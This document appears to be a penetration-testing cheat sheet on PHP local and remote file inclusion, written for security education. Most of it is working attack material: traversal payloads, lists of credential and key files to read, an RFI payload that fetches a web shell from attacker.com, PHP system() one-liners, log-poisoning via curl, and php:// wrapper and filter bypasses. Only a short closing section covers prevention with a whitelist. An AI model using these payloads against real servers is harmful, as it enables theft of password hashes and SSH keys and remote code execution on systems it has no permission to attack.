Key Takeaways

  • LFI reads local files on server
  • RFI includes remote malicious files
  • LFI→RCE via log poisoning, wrappers
  • Path traversal often combined with LFI

1. File Inclusion Vulnerabilities

Vulnerable Code
# PHP vulnerable code
$page = $_GET['page'];
include($page . ".php");

# URL: ?page=about → includes about.php
# Attack: ?page=../../../../etc/passwd%00

2. Local File Inclusion (LFI)

# Basic LFI payloads
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2f..%2fetc/passwd

# Windows targets
?page=..\..\..\..\windows\win.ini
?page=..\..\..\..\windows\system32\drivers\etc\hosts

# Interesting files to read
/etc/passwd           # User list
/etc/shadow           # Password hashes (if readable)
/home/user/.ssh/id_rsa  # SSH keys
/var/log/apache2/access.log  # For log poisoning
/proc/self/environ    # Environment variables
~/.bash_history       # Command history

3. Remote File Inclusion (RFI)

# RFI requires allow_url_include=On (rare)
?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.txt?

# shell.txt contains:
<?php system($_GET['cmd']); ?>

# Data URL (if allow_url_include)
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

4. LFI to RCE Techniques

Log Poisoning

# 1. Inject PHP into access log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. Include the log file
?page=/var/log/apache2/access.log&cmd=id

# Other log files:
/var/log/auth.log     # SSH login attempts
/var/log/mail.log     # Mail server logs
/proc/self/fd/1       # stdout

Session File Inclusion

# 1. Set malicious session value
# Register with name: <?php system('id'); ?>

# 2. Include session file
?page=/var/lib/php/sessions/sess_[YOUR_PHPSESSID]

5. PHP Wrappers

# Read source code (base64 encoded)
?page=php://filter/convert.base64-encode/resource=index.php

# Write files (if writable)
?page=php://filter/write=convert.base64-decode/resource=shell.php

# Expect wrapper (if enabled)
?page=expect://id

# Input wrapper (POST body as include)
POST /?page=php://input
Body: <?php system('id'); ?>

# Zip wrapper
?page=zip://uploads/avatar.zip%23shell.php

6. Filter Bypasses

# Null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00

# Double encoding
?page=%252e%252e%252f%252e%252e%252f

# Path truncation
?page=../../../etc/passwd[268 a's]

# Bypass extension append
?page=php://filter/convert.base64-encode/resource=index
# If .php is appended, still works

7. Testing Methodology

  1. Identify file inclusion parameters (page, file, include, etc.)
  2. Test basic traversal: ../../../../etc/passwd
  3. Try bypass techniques if blocked
  4. Test PHP wrappers for source disclosure
  5. Attempt LFI→RCE if logs accessible

8. Prevention

Secure Code
# Whitelist approach
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];

if (in_array($page, $allowed)) {
    include($page . '.php');
} else {
    include('404.php');
}

# Never use user input directly in include/require
# Validate and sanitize all file paths
# Disable allow_url_include in php.ini

FAQ

Is RFI still common?
RFI is rare now because allow_url_include is disabled by default in modern PHP. LFI is more common and can still lead to RCE through log poisoning and other techniques.

Command Injection OWASP Top 10 Web Shells